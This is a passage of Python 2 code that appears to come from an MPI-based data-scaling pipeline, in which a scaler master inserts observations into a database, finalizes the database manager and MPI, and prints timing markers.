if timing: print "SCALER_MASTER_INSERT_OBS START RANK=%d TIME=%f"%(rank, tt())
call_instance["data"]['frame_id_0_base'] = [frame_id_zero_base] * len(call_instance["data"]['frame_id_0_base'])
scaler_master.master_db_mgr.insert_observation(**call_instance["data"])
if timing: print "SCALER_MASTER_INSERT_OBS END RANK=%d TIME=%f"%(rank, tt())
if timing: print "SCALER_MASTER_FINALISE START RANK=%d TIME=%f"%(rank, tt())
scaler_master.master_db_mgr.join() # database written, finalize the manager
scaler_master.mpi_finalize()
if timing: print "SCALER_MASTER_FINALISE END RANK=%d TIME=%f"%(rank, tt())
return self.finalize(scaler_master)
